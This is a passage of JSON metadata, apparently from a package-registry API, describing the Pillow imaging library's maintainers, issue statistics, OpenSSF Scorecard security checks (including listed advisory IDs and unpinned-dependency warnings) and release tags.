r_issues_count":265,"past_year_pull_requests_count":754,"past_year_avg_time_to_close_issue":1103836.4188034188,"past_year_avg_time_to_close_pull_request":714614.808297568,"past_year_issues_closed_count":233,"past_year_pull_requests_closed_count":699,"past_year_pull_request_authors_count":59,"past_year_issue_authors_count":205,"past_year_avg_comments_per_issue":5.535849056603774,"past_year_avg_comments_per_pull_request":1.2625994694960212,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":45,"past_year_merged_pull_requests_count":637,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/issues","maintainers":[{"login":"radarhere","count":607,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":109,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":19,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"homm","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/homm"},{"login":"wiredfool","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"}],"active_maintainers":[{"login":"radarhere","count":457,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":15,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"homm","count":12,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/homm"},{"login":"wiredfool","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pillow/codemeta","maintainers":[{"uuid":"hugovk","login":"hugovk","name":null,"email":null,"url":null,"packages_count":24,"html_url":"https://pypi.org/user/hugovk/","role":null,"created_at":"2022-11-15T02:25:11.544Z","updated_at":"2022-11-15T02:25:11.544Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/hugovk/packages"},{"uuid":"aclark","login":"aclark","name":null,"email":null,"url":null,"packages_count":96,"html_url":"https://pypi.org/user/aclark/","role":null,"created_at":"2022-11-15T02:25:11.525Z","updated_at":"2022-11-15T02:25:11.525Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/aclark/packages"},{"uuid":"wiredfool","login":"wiredfool","name":null,"email":null,"url":null,"packages_count":4,"html_url":"https://pypi.org/user/wiredfool/","role":null,"created_at":"2022-11-15T02:25:11.532Z","updated_at":"2022-11-15T02:25:11.532Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/wiredfool/packages"},{"uuid":"radarhere","login":"radarhere","name":null,"email":null,"url":null,"packages_count":2,"html_url":"https://pypi.org/user/radarhere/","role":null,"created_at":"2022-11-15T02:25:11.599Z","updated_at":"2022-11-15T02:25:11.599Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/radarhere/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":930235,"maintainers_count":399576,"namespaces_count":0,"keywords_count":311673,"github":"pypi","metadata":{"funded_packages_count":58495,"rate_limit":2},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-08-23T05:05:26.773Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}},{"id":14932023,"name":"github.com/python-pillow/pillow","ecosystem":"go","description":null,"homepage":null,"licenses":"other","normalized_licenses":[],"repository_url":"https://github.com/python-pillow/pillow","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2026-08-11T13:24:15.000Z","latest_release_published_at":"2026-08-11T13:24:15.000Z","latest_release_number":"v0.0.0-20260811132415-e7dfd90f3456","last_synced_at":"2026-08-22T21:34:18.983Z","created_at":"2026-08-12T00:32:53.620Z","updated_at":"2026-08-22T21:34:18.983Z","registry_url":"https://pkg.go.dev/github.com/python-pillow/pillow","install_command":"go get github.com/python-pillow/pillow","documentation_url":"https://pkg.go.dev/github.com/python-pillow/pillow#section-documentation","metadata":{},"repo_metadata":{"id":4067385,"uuid":"5171600","full_name":"python-pillow/Pillow","owner":"python-pillow","description":"Python Imaging Library (fork)","archived":false,"fork":false,"pushed_at":"2026-08-18T03:21:16.000Z","size":210899,"stargazers_count":13762,"open_issues_count":158,"forks_count":2487,"subscribers_count":218,"default_branch":"main","last_synced_at":"2026-08-19T20:07:15.086Z","etag":null,"topics":["c","cross-platform","image","image-processing","pil","pillow","python","python-3"],"latest_commit_sha":null,"homepage":"https://python-pillow.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/python-pillow.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"python-pillow","tidelift":"pypi/pillow"}},"created_at":"2012-07-24T21:38:39.000Z","updated_at":"2026-08-19T11:30:41.000Z","dependencies_parsed_at":"2026-08-10T00:33:36.120Z","dependency_job_id":"d5b95903-c96d-44df-bd02-a4cc128e2ac8","html_url":"https://github.com/python-pillow/Pillow","commit_stats":{"total_commits":13318,"total_committers":471,"mean_commits":28.276008492569,"dds":0.6136056464934675,"last_synced_commit":"128f3f46d475de5ddf9859ae1e262287d0c126b6"},"previous_names":["python-imaging/pillow"],"tags_count":99,"template":false,"template_full_name":null,"purl":"pkg:github/python-pillow/Pillow","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/sbom","scorecard":{"id":685638,"data":{"date":"2025-08-11","repo":{"name":"github.com/python-pillow/Pillow","commit":"092d4422d590835c5a75831a4ff29caf0df08ae2"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.8,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 24 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":9,"reason":"Found 16/17 approved changesets -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: .github/SECURITY.md:1","Info: Found linked content: .github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: .github/SECURITY.md:1","Info: Found text in security policy: .github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release-drafter.yml:20","Info: found token with 'none' permissions: .github/workflows/test-docker.yml:116","Info: found token with 'none' permissions: .github/workflows/test-windows.yml:240","Info: found token with 'none' permissions: .github/workflows/test.yml:162","Info: topLevel 'contents' permission set to 'read': .github/workflows/cifuzz.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/docs.yml:19","Info: topLevel 'contents' permission set to 'read': .github/workflows/lint.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-drafter.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-docker.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-mingw.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind-memory.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-windows.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/wheels.yml:35"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_font.py:18","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_pillow.py:16"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/wheels.yml:270"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":0,"reason":"13 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-29gw-9793-fvw7","Warn: Project is vulnerable to: PYSEC-2015-24 / GHSA-4vwq-x64q-j4cj","Warn: Project is vulnerable to: PYSEC-2017-46 / GHSA-66gw-5xpf-gfp5","Warn: Project is vulnerable to: PYSEC-2015-25 / GHSA-92mr-v722-f48m","Warn: Project is vulnerable to: PYSEC-2022-12 / GHSA-pq7m-3gw7-gq5x","Warn: Project is vulnerable to: PYSEC-2017-47","Warn: Project is vulnerable to: PYSEC-2018-34 / GHSA-2fc2-6r4j-p65h","Warn: Project is vulnerable to: PYSEC-2021-856 / GHSA-5545-2q6w-2gh6","Warn: Project is vulnerable to: PYSEC-2019-108 / GHSA-9fq2-x9r6-wfmf","Warn: Project is vulnerable to: PYSEC-2018-33 / GHSA-cw6w-4rcx-xphc","Warn: Project is vulnerable to: PYSEC-2021-857 / GHSA-f7c7-j99h-c22f","Warn: Project is vulnerable to: GHSA-fpfv-jqm9-f5jm","Warn: Project is vulnerable to: PYSEC-2017-1 / GHSA-frgw-fgh6-9g52"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): .github/workflows/test-docker.yml:100","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-drafter.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/release-drafter.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/stale.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-docker.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:108: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind-memory.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind-memory.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:219: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-windows.yml:231: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:143: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:154: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:281: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/wheels.yml:287: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:156: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:161: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:167: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:228: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:237: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:242: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:248: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:259: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .ci/after_success.sh:4","Warn: pipCommand not pinned by hash: .ci/install.sh:25","Warn: pipCommand not pinned by hash: .ci/install.sh:26","Warn: pipCommand not pinned by hash: .ci/install.sh:27","Warn: pipCommand not pinned by hash: .ci/install.sh:28","Warn: pipCommand not pinned by hash: .ci/install.sh:29","Warn: pipCommand not pinned by hash: .ci/install.sh:30","Warn: pipCommand not pinned by hash: .ci/install.sh:31","Warn: pipCommand not pinned by hash: .ci/install.sh:32","Warn: pipCommand not pinned by hash: .ci/install.sh:33","Warn: pipCommand not pinned by hash: .ci/install.sh:34","Warn: pipCommand not pinned by hash: .ci/install.sh:35","Warn: pipCommand not pinned by hash: .ci/install.sh:38","Warn: pipCommand not pinned by hash: .ci/install.sh:44","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:24","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:25","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:26","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:27","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:28","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:29","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:31","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:32","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:35","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:174","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:187","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:377","Warn: pipCommand not pinned by hash: Tests/oss-fuzz/build.sh:18","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:47","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:48","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:124","Warn: pipCommand not pinned by hash: .github/workflows/wheels.yml:120","Info:   0 out of  36 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of  10 third-party GitHubAction dependencies pinned","Info:   0 out of  32 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}}]},"last_synced_at":"2025-08-22T00:42:31.003Z","repository_id":4067385,"created_at":"2025-08-22T00:42:31.003Z","updated_at":"2025-08-22T00:42:31.003Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36784007,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-19T02:00:06.185Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"python-pillow","name":"Pillow","uuid":"2036701","kind":"organization","description":"The friendly PIL fork (Python Imaging Library)","email":"aclark@aclark.net","website":"https://python-pillow.github.io","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/2036701?v=4","repositories_count":19,"last_synced_at":"2026-08-13T00:36:15.473Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/python-pillow","funding_links":["https://github.com/sponsors/python-pillow"],"total_stars":13916,"followers":251,"following":0,"created_at":"2022-11-02T16:23:18.204Z","updated_at":"2026-08-13T00:36:15.483Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow/repositories"},"tags":[{"name":"12.3.0","sha":"bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d","kind":"commit","published_at":"2026-07-01T09:09:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.3.0/manifests"},{"name":"12.2.0","sha":"3c41c095064200a02672d89cc5ff629eaf4b0d4f","kind":"commit","published_at":"2026-04-01T12:11:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.2.0/manifests"},{"name":"12.1.1","sha":"5158d98c807e719c5938aa3886913ef0ea6814e9","kind":"commit","published_at":"2026-02-11T01:13:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.1/manifests"},{"name":"12.1.0","sha":"46f45f674d47b5d8bc54230dda8fe9e214598b87","kind":"commit","published_at":"2026-01-02T06:03:05.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.0/manifests"},{"name":"12.0.0","sha":"693df7b42c666f88c719f9973be0ad71607328e0","kind":"commit","published_at":"2025-10-15T17:06:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.0.0","html_url":"https://github.com/python-pillow/Pillow/releases